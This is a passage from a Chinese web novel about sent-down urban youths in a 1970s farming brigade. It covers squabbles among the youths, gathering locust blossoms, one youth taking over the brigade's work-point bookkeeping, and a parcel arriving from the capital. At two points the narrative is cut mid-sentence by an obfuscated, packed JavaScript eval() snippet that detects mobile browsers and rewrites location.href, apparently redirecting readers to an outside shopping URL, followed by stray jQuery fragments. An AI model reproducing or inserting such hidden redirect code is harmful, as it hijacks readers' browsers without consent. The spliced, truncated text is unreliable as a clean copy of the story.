叶小姑也是这样想的,到家就找干净的背篓和篮子。叶榛捏两个明杭生送的江米条垫吧一口,又给她小姑拿两个就去找绳子和铁钩。
刚到路口,一群知青打北边过来。叶榛下意识看她姑,叶小姑使个眼色,叶榛继续往前。到跟前,不出意外孙解放问她俩干嘛去。
叶榛实话实说:“看看洋槐花开了吗。”
孙解放:“花也可以吃?”
叶榛点头。
孙解放扭头找同学,明杭生出来;“我跟叶榛去看看吧。”说完看向叶榛的小姑。
洋槐花是集体的,叶小姑没理由拒绝,再说了,明杭生知道征求她的意见,叶小姑感到自己被尊重,自然更不好意思拒绝:“有的话我们多摘点,回头给你们一半。”
孙解放忙说:“不用那么多。”
女知青尤菁菁不禁说:“做饭也要不了这么多人,明杭生,我和——”
明杭生打断:“可能还没开,我先跟她们过去看看。叶榛,走吧。”
15.上纲上线
女知青尤菁菁跟没听见似的:“可是我回去也——”
“回去帮我摘菜!”陈菀菀一把抓住她,“走了,我快饿死了!”另一只手抓住女知青朱莹莹。
曹芳芳第二看不惯的同学就是陈菀菀,她认为陈菀菀懒:“可别把你累着!”
“又不是我一个人吃,凭什么我自己干?”陈菀菀反驳。
孙解放头大:“好了!听我的,除了明杭生都给我回去!”朝赵小四身上一下,“还不走?”
啥也没干的赵小四抱怨:“关我什么事?我招谁惹谁了?”
“哪来这么多话?”孙解放瞪他一眼,回头看到叶榛和她姑以及明杭生走远,四周也没外人,直接说,“尤菁菁,朱莹莹,你俩别白费工夫。”
尤菁菁脸微红,理不直气不壮地问:“我干嘛了?”
孙解放:“还要我说?明杭生刚下车就问他累不累,之前砍柴怎么没见你嘘寒问暖?还有朱莹莹,还问拖拉机好不好学。早几天知道叶榛是女的你咋说的?开拖拉机是男人的活。你又不是女生了?”
尤菁菁不禁反驳:“我关心同学不行?”
朱莹莹嘀咕:“我是觉着拖拉机太大,又没说女生不能开。”
“该说的我说了,你俩不听,回头别怪明杭生说话难听。”
尤菁菁不服:“他能说什么?”
能说的可多了。陈菀菀在心里嘀咕一句。她很瞧不上这两位同学。这几天万事不出头,无论明杭生做什么,她俩都把人当空气。还不如曹芳芳,曹芳芳看到明杭生和孙解放帮她们打水也知道道一声谢,虽然免不了阴阳怪气。
班长怕两人难堪不好说实话,陈菀菀可没这层顾虑,笑吟吟道:“不配!”
“你说啥?”尤菁菁怀疑她听错了,“再说一遍!”
陈菀菀:“配不上他!”
“明杭生又没长三头六臂,大家都是知青,谁又比谁高贵?凭什么说我配不上!我看是你觉着我不配吧。”尤菁菁冲过去,“陈菀菀,给我道歉!”
陈菀菀:“我不道呢?”
“别怪我不客气!我可不是曹芳芳,只敢跟你打嘴仗!”
曹芳芳正在心里嘀咕一个两个没见过男人还是咋地,不就是会开拖拉机吗。叶榛开拖拉机的时候比明杭生好看多了。以至于乍一听到自己的名字她愣了片刻才反应过来:“尤菁菁,你啥意思?”
“没见过你这么怂的!”
曹芳芳伸手指着她,“只给你一次机会,道歉!”
“不道!”尤菁菁抬手拨开她的手,“父母没教你用手指人不礼貌!”
曹芳芳的脾气这都能忍?必须忍不了!反手朝她手背上一巴掌。尤菁菁手疼,伸手就朝曹芳芳脸上招呼。
陈菀菀立刻后退,恐怕成了池鱼。
孙解放瞪一眼挑事的人,伸手拨开她俩,啪一声,孙解放脸上挨了一巴掌!陈菀菀吓一跳,不敢再看热闹,慌忙拉开曹芳芳。
曹芳芳被这一巴掌吓呆了。
尤菁菁看看自己的手,又看看班长脸上的红印:“这,不怪我,你突然过来,我没——”
“闭嘴!”孙解放捂着脸,“此事就此打住!回去!”
尤菁菁心虚不敢反驳。曹芳芳认识孙解放好几年,第一次见他气得脸通红,也不敢不依不饶。陈菀菀担心他有轻微脑震荡,不放心地问:“没事吧?”
“你少说两句啥事没有!”
陈菀菀悻悻地闭嘴,很是心虚羞愧:“都怪明杭生,干什么不好开拖拉机犁地。队里那么多会开拖拉机的用得着他吗?瞎显摆什么啊。”
孙解放转向她,没完了还!
陈菀菀立刻闭嘴。
孙解放心累,他发誓一有机会就离开这里,绝不犹豫!否则他难活着见到父母。
叶榛听着吵吵声越来越远,回头看一下,知青们不吵了:“祸害啊。”
知青们火气上头没意识到嗓门大,所以叶榛几人听得一清二楚。明杭生点头:“祸害也不是谁都能当。”
叶小姑无语又好笑:“夸你呢?”
“那您让我怎么说?说你二位听错了想多了?”明杭生道,“她们又没表白,我也不能过去说别喜欢我,我不是良配吧。”
叶榛和叶小姑同时想到他无父无母,顿时不好意思顺着他的话问为什么这样说自己。
明杭生误以为自己口气太冲让两人无言以对,不由得找补一句,“其实她们不是喜欢我。”
叶榛不禁说:“承认她们为你争风吃醋我还能笑你?”
说得好像刚才没笑一样。明杭生笑着把争辩的话咽回去,“我会挑水会生火,她们可一点也不稀罕。在她们看来她们也能学会。拖拉机犁地不一样,说夸张点是一项技能。大队长让我开车只是因为他身边没别人,但在她们看来这是大队长看中我。”
叶榛的小姑明白了:“你是大队长面前的红人,跟你搞好关系只有好处没坏处?”
明杭生点点头,不经意间瞥到一片亮亮的东西,“树梢上好像有什么东西?”
叶榛顺着他的手指看去:“那就是洋槐树。难道真开了?”
叶小姑问:“是不是阳光太亮啊?”
明杭生:“过去看看就知道了。”
眼前这块地还没犁,三人直接从地里过去。到跟前看到确实有一点洋槐花,明杭生问:“还有很多没开,是不是过两天再来?”
叶小姑:“没开的好,鲜嫩有营养。”
明杭生好奇:“这么小的花还有营养?”
叶榛:“洋槐花蜜!”
明杭生恍然大悟:“没营养蜜蜂也不碰。那现在摘?”
叶榛:“上面有刺,你过来一点,别砸到你。”
明杭生随叶小姑后退几步。叶榛拿出绳子和铁钩,瞅准了扔上去,猛一使劲,一根树枝掰下来。
从下往上看不大,树枝落下来有两个雨伞那么大。明杭生不禁问:“会不会伤到树?”
叶小姑:“不会!再说了,这树不稀奇,死了再种。留着这树就是为了年年吃洋槐花!”
明杭生闻言放心下来,看一下叶小姑怎么摘,他就跟叶小姑一样坐在地上撸洋槐花。这一幕要让他爷爷奶奶看见非得夜里做噩梦——向来爱干净的大孙子竟然不拘小节席地而坐!
农村真锻炼人啊。
明杭生倒是想讲究,可惜没这个条件。
站着撸洋槐花慢,蹲着腿累,他下午还要上工,为了节省体力只能坐下。
这个时候还有社员没回去,发现叶榛掰树枝就过来瞅瞅,一见洋槐花可以吃了,就叫叶榛多掰点,她回去拿篮子。
顺手的事,没必要拒绝,叶榛答应下来就让她把小月和小阳叫来。
叶榛的堂弟堂妹加入进来,不到半小时背篓和筐就满了。叶榛也没贪,剩下的都给后来的社员。
明杭生看到这一幕有点意外,同时也确定一点,叶榛确实如她这几天表现的一样,小事懒得计较。
到队里叶榛就叫明杭生背一筐回去。明杭生笑着收下她的好意。
赵小四眼尖,以至于明杭生刚到知青点门口就被他瞅见。赵小四立刻跑过来:“我天!明杭生,从今往后你就是我亲二哥!”
“所以之前哄我呢?”
赵小四愣住,见他嘴角挂着笑意,不禁眨了眨眼睛,明大少会开玩笑?再一想他跟自己同岁,自己嬉皮笑脸,他老气横秋跟三十多岁的似的才不正常。
“之前是——”赵小四故意停顿一下,夹着嗓子说:“干哥哥啊~~~”
明杭生的鸡皮疙瘩瞬间起立,不由得搓搓手臂,赵小四见状哈哈大笑,抱着背篓跑去厨房,“快
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14267351|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看,明杭生摘的洋槐花!又有好吃的!”
曹芳芳跟到厨房看清楚就不禁皱眉:“这么小怎么吃啊?”
陈菀菀好像真怕她的话落地上,立刻道:“蒸着吃!”
“你会?”城里很少能看到洋槐花树,曹芳芳不信她会。
陈菀菀没有亲自做过:“我见人做过!”
孙解放赶紧说:“可别逞能了。”拎走洋槐花用干净的筐子盖上,“还是问问叶榛或者她姑怎么做吧。”
陈菀菀下意识想说她真见人做过,到嘴边想起今时不同往日,浪费一口就少吃一口:“那行吧。对了,班长,米快吃完了,是不是再弄点?”
孙解放:“明早我去磨几斤面。磨出的麦皮归咱们自个,是不是养几只小鸡?逢年过节也能改善改善伙食。”
烧火的女知青朱莹莹忍不住问:“咱们是要在这里呆几年吗?”
此话把所有人问住。其他人是心里没底,陈菀菀是不敢说实话:“如果城里没工作,家里也没有那么多粮食,我们只能待到恢复高考那天。”
孙解放沉吟片刻,点头:“上大学有补贴,补贴够我们用的,我们要想回城,又不给家人添负担,只能等恢复高考。”
赵小四:“可是天天干活,上学期学的我都快还给老师了,冷不丁恢复高考,咋考啊?”
这些天太忙,孙解放把这一点忘得一干二净:“也是啊。哪有心思看书。”
明杭生见状就想说话,听到陈菀菀道:“又不可能一直这么忙。闲的时候再看呗。”
赵小四:“可是我的课本都在首都。”
陈菀菀白他一眼:“不会给家里写信叫他们寄过来?书是死的人也是?”
赵小四张张口,意识到无法反驳:“不想跟你说话!”
孙解放转向明杭生,想听听他的意见。
明杭生微微点头:“这两年用不着不等于以后用不着。国家要发展就离不开知识分子!”
女知青朱莹莹又问:“可是首都那么乱,谁还有心思建设四化?”
此言又让厨房里安静下来。
陈菀菀想骂人,她可真会泄气,“你没心思不等于科学家、工人同志没心思。再说,种地不是建设四化?我们不种地,科学家吃什么?油田工人吃什么?边防战士吃什么?你就知道国家叫你在农村呆一辈子?”
“我——我就说一句,你用得着上纲上线,连科学家、军人都扯出来。”
陈菀菀:“难道我说的不对?”
孙解放不想再挨一巴掌,赶紧说:“好了!该洗菜洗菜,该调酱调酱,米汤好了就开饭!”说完把陈菀菀拽出来,“少说两句吧,陈菀菀同学。”
陈菀菀甩开他去隔壁女知青点洗衣服。
孙解放叹气:“真厉害!”
曹芳芳幸灾乐祸道:“终于知道她的厉害?”
“你也不差!”
曹芳芳噎住。
孙解放叹了一口气就去堂屋。明杭生跟进去给自己倒点水喝。孙解放见屋里只有他俩,而他一向知道明杭生不是搬弄是非之人,便放心发牢骚:“早知道这样,这个班长谁爱当谁当!”
明杭生莫名想笑。
孙解放见状瞪眼:“你还笑?”
“笑了吗?”
“眼睛笑不算笑?”
明杭生嘴角有了笑意:“才刚开始,等忙完这一阵,农场还有其他生产队的同学都得来找你。”
“找我干嘛?”
明杭生:“何时能回城,或者以后怎么办。”
“我哪知道?”孙解放脱口而出,忽然想到他不知道明杭生知道,“你说——”
明杭生摇头:“别问我。真追究起来,你们都回去了我也走不了。”
“为什么?”
明杭生:“我生母在国外。”
16.大包裹
孙解放心中一惊,慌忙往外看,见同学们不是在院门外就是在厨房聊天,他松了一口气,压低声音说:“这事天知地知你知我知,以后谁都不能说!”
明杭生不以为意地笑笑,“那两口子早离了!”
“那也不行!”孙解放异常认真严肃,“她就是死了,也是你生母!你说你跟她多年不联系,有证据吗?谁能证明?没证据你浑身是嘴也说不清!嗳,不对,你说走不了,就说明你知道这事一旦被人知道有多严重?你还笑得出来?”
明杭生:“不笑难道哭?”
孙解放噎得有口难言,半晌憋出一句:“心真大!”
明杭生笑笑:“其实不是我不在意,而是现在的环境容易让人静下来。”
孙解放想想这几天的日子:“是呀。不用担心成绩,不用备战高考,不用三天两头上街喊口号,也不用担心不想去就被扣帽子,日出而作日入而息,长这么大我还没过过这么简单的日子。”顿了顿,“就是太简单。”
明杭生张张口,又觉着不着急,就把话咽回去:“去厨房看看吧。”
到厨房孙解放闻到米香,掀开锅盖看看差不多了,就出去喊同学们洗手。
饭后继续上午的工作,明杭生开车犁地,他的同学们和社员们一起种红薯。
翌日清晨,天空飘起零星春雨,大队长通知照常上工。不过这次分两拨,一拨种红薯,一拨跟大队长去河边地头翻地,留着种土豆、苞米、高粱等作物,务必把边边角角都利用上。
老天爷给面子,地收拾好,雨下大了。以免红薯苗在育苗坑里被积水淹死捂坏,社员们披着蓑衣戴着斗笠把苗埋地里——暂时先埋在一起,过两天晴了再挖出来一个个种。
从地里回来知青们也没心思做饭,喝点水洗刷干净,换上干净的衣服就上炕睡觉。一觉睡到第二天早上公鸡打鸣。
孙解放拉开门,太阳洒进来,他用颇为可惜的语气说:“这就晴了啊。”
赵小四趿拉着鞋过来:“怎么不多下几日?”
孙解放回头瞪他:“连阴雨把苗淹死了,到秋吃什么?”
“我,是你先抱怨怎么就晴了。”赵小四嘀咕,“顺着你的话说也能怪我?”
明杭生:“他希望今儿阴天没太阳!”
“就你知道!”赵小四没好气道。
明杭生当没听见,小心避开院里积水去刷牙洗脸。饭后没听到锣响,明杭生就叫孙解放去找大队长。
孙解放:“锣没响就说明今天不用上工。还找大队长干嘛?”
明杭生道:“听叶榛说村里有养猪场,养牛场,还有几匹马和骡子,好像还有羊圈,这些牲畜都需要人喂养吧?”
赵小四诧异:“你想养牲口?”
孙解放拨开他:“别插嘴!你的意思趁着今儿闲去跟他们学学?”
明杭生:“靠种地能挣多少公分?我希望你顺便问问村小需不需要老师。”
孙解放不禁轻呼一声:“对!叶榛的小姑上课算工分,每月还有几块钱补贴,到年底算账平均下来一个月有一二十块钱。”
赵小四等人眼中一亮,催他快去问问。
“问什么?”陈菀菀拿着抹布从厨房出来,看到几人在堂屋门口聊天,“说啥呢?”
孙解放也没瞒她,直接把明杭生刚才说的事告诉她。陈菀菀听到这些事不意外,令她意外的是看起来对什么都不上心的明杭生这么积极。
就他现在的生活态度,怎么可能自杀啊。
陈菀菀实在想不通干脆先不管,反正离他自杀还有十几年:“我和你一块去。”
曹芳芳抱着手臂倚着门框:“真是哪儿哪儿都有你!”
陈菀菀装没听见,问孙解放什么时候去。孙解放担心她俩撕起来,决定现在就去。
俩人到大队长家没见到人,大队长的妻子告诉他们人在大队部。两人到大队部,几个小队长也在,看到他们瞬间变脸。
俩人见状顿时不敢靠近。大队长瞪一眼几个小队长,笑着说:“出啥事了?”
孙解放下意识摇头。
几个小队长不由得放松下来。
孙解放似乎明白过来,估计早两天俩女同学打架,他个拉架的挨了一巴掌的事被大伙儿知道了。几个小队长潜意识认为他们又惹事了。
孙解放笑着说明来意就闭嘴,等大队长拿主意。
刚才大队长还跟几个小队长夸这批知青干起活来很不错。现在孙解放主动要求参与劳动,几个小队长和大队长都很欣慰。
大队长思索片刻,让他俩先回去,他忙完再说。
陈菀菀朝桌上看一下,一堆本子纸张,看起来很忙:“要不要我们帮忙?”
“不用!都是这些天干的公分。趁着今天得闲先算出来。”
陈菀菀心中忽然一动,统计吗?巧了不是吗,她会!
说起这个,陈菀菀之前还可惜大学四年没怎么玩,学了一堆技能考了一沓证,到了六十年代一样没用。
果然机会只留给有准备的人。
陈菀菀佯装好奇地问:“很麻烦吗?”
大队长点头:“喂猪的喂牛的放羊的割草的,还有种红薯犁地的,一说起这些我就头疼。”
“也没多少啊。”陈菀菀故意说,“不就是一张纸的事?”
四队长想也没想就反驳:“说啥呢?”
大队长灵机一动:“小陈,你在城里是不是干过这种工作?”
陈菀菀佯装思索片刻:“看我家亲戚弄过。看起来很简单啊。”
“你来,你来。”大队长立刻把他的椅子让出来,“给我说说这个,你俩说的事我回头就安排。”
陈菀菀不禁朝孙解放看去。
虽然陈菀菀喜欢看热闹,还经常把曹芳芳气得跳脚,不过据孙解放观察,她其实很懂事,没招惹过社员,看到大娘大爷背柴还会托一把。她一个人在这里孙解放很放心:“我先回去告诉大家,省得他们担心。”
大队长摆摆手:“去吧。”接着就催陈菀菀教他记工分。
陈菀菀先在一行一行的记事本画几道竖线,然后问大队整个生产队有多少工种,横向填工种,竖行填各户户主。
一队长见状不禁说:“我在镇上看到过会计好像就是这么记账?”
陈菀菀:“差不多。要说有什么不同,就是平时你们先记下,月底统计上去。一个月一次,年底算总账一目了然。最好每月干的工分都让社员在上面签字或者按手印。到时候也不用为了一分两分争论不休。”
“对!年年年底跟他们掰扯工分就得掰扯十天半月。”大队长不禁说:“还是城里人脑子活。都是高中生,榛儿她姑就没想到。”
陈菀菀不敢顺着他的话埋汰叶榛的小姑。毕竟她是外来户,叶小姑是大队长看着长大的。陈菀菀笑着说:“她没来过大队部吧?她同学在供销社上班,算是小会计,不可能不知道会计怎么记账。”
“你这样说,我想起来了,没来过。榛儿来开车都是到门口跟我说一声就把车开走。”大队长感叹道,“以后还是得多征求你们年轻人的意见。”忽然有个想法,“小陈,要不你以后就来大队部。农忙的时候跟大家一起干活,农闲算账我给你算工分。一年下来不多也有一两百分。”
陈菀菀就等他这句话,但也不能太上赶着,“可是我,我只算过几次,不太熟练啊。”
“一回生二回熟!”
陈菀菀:“队里的大爷大妈知道了会不会觉着我年轻瞎算啊?”
大队长摆手:“不会。我上一年私塾,他们几个学问最高的小学毕,我们几个算他们都放心,你来大伙儿更放心。”
二队长点头:“你是知青,跟大伙儿都没有亲戚关系,你记账没人怀疑你给谁算多了给谁算少了。你不知道,有些社员自个记错了非说我把他们的工分算给我亲戚。光为了这事每年年底都得吵几回。”
“那从今天开始?”
大队长点头:“现在开始。”说完把账本都推给她。
陈菀菀惊得睁大眼睛。
几个小队长见状赶紧拿回来:“一个个算,不急!”
他们不急,知青们着急。
赵小四一会儿出来一趟一会儿出来一趟,不见陈菀菀回来,他忍不住问:“要不要去大队部看看?”
孙解放:“我都说了,她在大队部帮忙算账,算好了自然就回来了。”
赵小四朝明杭生看去:“有俩小时了吧?啥忙能忙这么久?”
明杭生道:“也许她成了大队部的会计。”
话音落下所有知青转向他,怀疑他们没听清。
明杭生:“这个生产队没会计。”
孙解放仔细想想:“是只有大队长和小队长。大队长好像还兼着村支书!”
赵小四不禁问:“村支书和大队长不是叫法不同吗?”
明杭生:“不一样,就像县长和书记。”
他这样说赵小四就明白了,“嗳,要是陈菀菀留在大队部,那以后还跟咱们一起上工吗?”
孙解放不禁说:“大队长都要下地,你说呢?”
赵小四顿时不羡慕她给自己找个工作,“以后她的工分还跟咱们算一起吗?”
孙解放点头。
赵小四很怕分家,闻言笑了:“这就好!不过也不能一直占她的便宜。班长,再问问大队长要不要会唱歌会画画的,我一个人可以教两门!”
他还有这本事?孙解放很意外,“这几天我大概了解一下,凭叶家叫叶榛的小姑上到高中,队里也没人说三道四,说明这个生产队很注重教育。”随后问其他同学都会什么,届时他一块跟大队长谈谈。
其他人互相看看,颇为遗憾地表示,他们会的班长都会,要是村小还需要老师,也是优先考虑班长。
孙解放听到这话很高兴,可有一点无法忽略,在校期间明杭生比他成绩稳定比他懂得多。孙解放转向明杭生。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277910|151377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明杭生:“我不想当老师!”
赵小四差点被自己的口水呛着:“——有人想当都当不了!你你还挑上了?”
明杭生点头。
赵小四张张口:“你,你行!那班长,他不去你去!”
孙解放:“这事要再等等,一来再过一个多月就放暑假了,这学期肯定来不及。二来河边路边还有许多地没种,大队长没空考虑这事。过几天我们也得把女知青点的院子整理出来种红薯和土豆。”
李卫国不太敢发表意见,试探着提醒:“种地好像需要粪。”
孙解放点头:“这一点我找隔壁社员大哥了解过,他说没粪可以用锅底灰,就是烧柴烧出来的灰。”
明杭生:“也可以自己沤粪。”
众人齐刷刷转向他,不敢相信这种话能从他的口中说出来。
孙解放问:“你会?”
“现在不会。但可以学!”
曹芳芳嗤笑:“找叶榛学?你觉着叶榛会吗?”
明杭生觉着叶榛不会,可是他也没说跟叶榛学,而他又不想解释,干脆说:“你说什么就是什么吧。”
曹芳芳有种一拳打在棉花上的感觉,顿时想骂人。
孙解放赶忙把明杭生拉出去。
雨过天晴,等田间地头都种满庄稼,知青们又帮叶榛家把村里分给她叔的宅基地种上红薯,叶榛就和她小姑帮知青种红薯和土豆。
红薯苗是队里分给叶榛家的,土豆是叶榛家自个留的。
等男女两处知青点里里外外都种的满满当当,大部分社员也都闲下来,估计大队长不忙了,孙解放叫上陈菀菀俩人一起去大队长家拜访。
孙解放、明杭生等人如果是去年那些天天闹革命的知青,大队长不敢叫他们当老师。经过这段时间相处,大队长对他们很放心。
至于知青内部矛盾,两口子还打架呢,何况非亲非故的知青们。再说了,这些知青最大的十九,最小的才十七岁,一个个稳的跟老头老太太似的才奇怪。
再说老头老太太闲的时候也没少闹矛盾。
以前这里穷,自打兵团把荒地沼泽改成良田,这里比关中很多地区富裕多了。再加两个老师,村小才八个老师,大队长寻思着上面会同意。就算需要政府给补贴,一年下来也没多少钱。一个人三十六块钱,也就城里工人一个半月工资。
大队长有把握这事能成,可是万一呢?大队长啥也没承诺,让孙解放和陈菀菀先回去等消息。第二天去镇收购站送货,大队长开车,顺便去一趟镇革委会。
大队长提出加的两名老师正是孙解放和赵小四。二人的父母都是无产阶级,家中兄弟姐妹多,家庭困难,又是首都来的知青,根正苗红,革委会主任当场便同意此事。
大队长回去就把这事告诉孙解放。孙解放顿时激动地不知如何是好,握住他的手一个劲道谢。
叶榛的爷爷推着自行车到知青点门口正好看到这一幕:“出啥事了?”
孙解放有点不好意思,赶忙松开大队长。
大队长笑着说:“好事!榛儿也知道,回头你问她。”
孙解放等人心里没底,去大队长家拜访前征求过叶榛的意见。当时正好周末,叶爷爷在家。老叶闻言道:“我知道什么事了。是不是上面同意咱们村小再加两名老师?”
大队长点头:“你来这儿,是有啥事吧?”
老叶不禁懊恼:“瞧我这记性,差点忘了。今天邮局来了一个大包裹,收件人是明杭生。是不是明杭生家给他寄的什么东西?”
明杭生从屋里出来:“这么快?多大?”
老叶比划一下:“两大箱子,感觉有一百来斤。”
“这么多?”明杭生诧异,朝大队长看去,“可能要用一下队里的拖拉机。”
大队长见他好像有点不好意思,笑道:“又不是啥大事。啥时候用?”
老叶:“下午吧。这个时候去大伙儿都回家吃饭去了,没人帮你抬上车。”
大队长问:“还要人抬?那回头,小孙,你跟小明一块去。”
孙解放点点头,忽然想到拖拉机是生产队的宝,以免遇到点什么事社员们误会,“那条路我们只走过一次,不太熟,要不让叶榛跟我们一起?”
老叶下意识想说他下午去邮局,可以跟他们一块。然而没等他开口,大队长点头:“榛儿在家没事,叫她跟你们一起。”
老叶陡然想起儿媳妇的话,让孩子多出去走走。
“下午几点?”老叶问。
明杭生:“午饭后吧。”
老叶点点头表示知道,推着车子到家就告诉叶榛下午陪俩知青去邮局拉东西。
叶榛闻言眼中一亮。老叶人老眼不花,看得一清二楚:“榛儿,你知道明杭生的家人给他寄的啥啊?”
“回头你就知道了。”叶榛心情好,难得有心思卖关子。
老叶见状仿佛看到了两年前的大孙女,笑着说:“好,那我就等着!”